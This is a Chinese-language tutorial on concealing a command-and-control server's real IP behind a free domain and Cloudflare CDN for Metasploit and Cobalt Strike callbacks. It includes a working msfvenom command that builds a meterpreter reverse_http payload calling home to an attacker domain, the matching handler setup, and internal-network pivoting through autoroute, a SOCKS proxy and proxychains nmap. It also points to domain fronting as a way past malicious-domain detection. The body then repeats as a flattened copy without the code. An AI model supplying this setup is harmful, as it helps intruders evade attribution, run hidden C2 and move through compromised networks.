反溯源-cs和msf域名上线
字数 1156 2025-08-26 22:11:34

反溯源技术：使用CDN隐藏C2服务器IP的教学文档

前言

在渗透测试中，当拿下内网目标机后，使用Metasploit或Cobalt Strike等工具时，直接使用VPS作为服务器会导致IP地址泄露，容易被溯源。本教程将详细介绍如何通过域名和CDN技术隐藏真实IP，提高操作安全性。

准备工作

所需资源

  1. 国外VPS：推荐使用vultr（国内VPS如腾讯云、阿里云需要备案）
  2. 免费域名：从https://freenom.com/获取免费.tk域名（不支持163、126邮箱，推荐Gmail）
  3. CDN服务：使用Cloudflare的免费CDN服务

域名和CDN配置步骤

1. 注册域名

  • 访问freenom.com注册免费.tk域名
  • 确保使用支持的邮箱（如Gmail）

2. 配置Cloudflare

  1. 注册Cloudflare账号
  2. 在freenom的"Nameservers"中填入Cloudflare提供的DNS服务器信息
    • 不要使用freenom自带的域名解析（会暴露真实IP）

3. 设置DNS记录

  • 在Cloudflare中添加A记录，指向你的VPS IP
  • 验证配置：ping域名应显示CDN的IP而非VPS真实IP

Metasploit域名上线

生成Payload

msfvenom -p windows/x64/meterpreter/reverse_http LHOST=yourdomain.tk LPORT=2095 -f exe > shell.exe

注意：

  • 使用reverse_http而非reverse_tcp
  • 端口必须使用Cloudflare支持的HTTP端口：80,8080,8880,2052,2082,2086,2095

监听设置

use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_http
set LHOST yourdomain.tk
set LPORT 2095
run

内存问题解决方案

如果遇到内存分配错误，在VPS上创建交换空间：

cd /var
touch swap.img
chmod 600 swap.img
dd if=/dev/zero of=/var/swap.img bs=1024k count=1000
mkswap /var/swap.img
swapon /var/swap.img

Cobalt Strike域名上线

  1. 创建Payload时选择：windows/beacon_http/reverse_http
  2. 主机填写你的域名
  3. 端口使用Cloudflare支持的HTTP端口

内网渗透测试

添加路由

run autoroute -s 10.11.2.0 -n 255.255.255.0

扫描内网服务

background
use auxiliary/scanner/http/title
set rhosts 10.11.2.0/24
run

设置SOCKS代理

use auxiliary/server/socks4a
run

配置proxychains：

# /etc/proxychains.conf
socks4 127.0.0.1 1080

使用代理扫描：

proxychains4 nmap -sT -Pn -p445,80 --open 10.11.2.0/24

注意事项

  1. 端口限制：Cloudflare仅支持特定端口，非标准端口无法通过CDN

    • HTTP支持端口：80,8080,8880,2052,2082,2086,2095
    • HTTPS支持端口：443,2053,2083,2087,2096,8443

  2. 性能影响：通过CDN的通信速度比直接TCP连接慢

  3. 功能限制：某些Metasploit模块无法通过代理使用，如：

    • nmap的ping存活扫描
    • arp扫描

  4. 进阶技术：如需绕过恶意域名检测，可研究"域前置"技术

验证与测试

  1. 在靶机上使用Wireshark抓包，确认流量来自CDN IP而非VPS真实IP
  2. 测试内网渗透功能是否正常
  3. 验证代理功能是否可用

通过以上配置，可以有效地隐藏C2服务器的真实IP，提高渗透测试操作的安全性。

反溯源技术：使用CDN隐藏C2服务器IP的教学文档 前言 在渗透测试中，当拿下内网目标机后，使用Metasploit或Cobalt Strike等工具时，直接使用VPS作为服务器会导致IP地址泄露，容易被溯源。本教程将详细介绍如何通过域名和CDN技术隐藏真实IP，提高操作安全性。 准备工作 所需资源 国外VPS ：推荐使用vultr（国内VPS如腾讯云、阿里云需要备案） 免费域名 ：从https://freenom.com/获取免费.tk域名（不支持163、126邮箱，推荐Gmail） CDN服务 ：使用Cloudflare的免费CDN服务 域名和CDN配置步骤 1. 注册域名 访问freenom.com注册免费.tk域名 确保使用支持的邮箱（如Gmail） 2. 配置Cloudflare 注册Cloudflare账号 在freenom的"Nameservers"中填入Cloudflare提供的DNS服务器信息 不要使用freenom自带的域名解析（会暴露真实IP） 3. 设置DNS记录 在Cloudflare中添加A记录，指向你的VPS IP 验证配置：ping域名应显示CDN的IP而非VPS真实IP Metasploit域名上线 生成Payload 注意 ： 使用 reverse_http 而非 reverse_tcp 端口必须使用Cloudflare支持的HTTP端口：80,8080,8880,2052,2082,2086,2095 监听设置 内存问题解决方案 如果遇到内存分配错误，在VPS上创建交换空间： Cobalt Strike域名上线 创建Payload时选择： windows/beacon_http/reverse_http 主机填写你的域名 端口使用Cloudflare支持的HTTP端口 内网渗透测试 添加路由 扫描内网服务 设置SOCKS代理 配置proxychains： 使用代理扫描： 注意事项 端口限制 ：Cloudflare仅支持特定端口，非标准端口无法通过CDN HTTP支持端口：80,8080,8880,2052,2082,2086,2095 HTTPS支持端口：443,2053,2083,2087,2096,8443 性能影响 ：通过CDN的通信速度比直接TCP连接慢 功能限制 ：某些Metasploit模块无法通过代理使用，如： nmap的ping存活扫描 arp扫描 进阶技术 ：如需绕过恶意域名检测，可研究"域前置"技术 验证与测试 在靶机上使用Wireshark抓包，确认流量来自CDN IP而非VPS真实IP 测试内网渗透功能是否正常 验证代理功能是否可用 通过以上配置，可以有效地隐藏C2服务器的真实IP，提高渗透测试操作的安全性。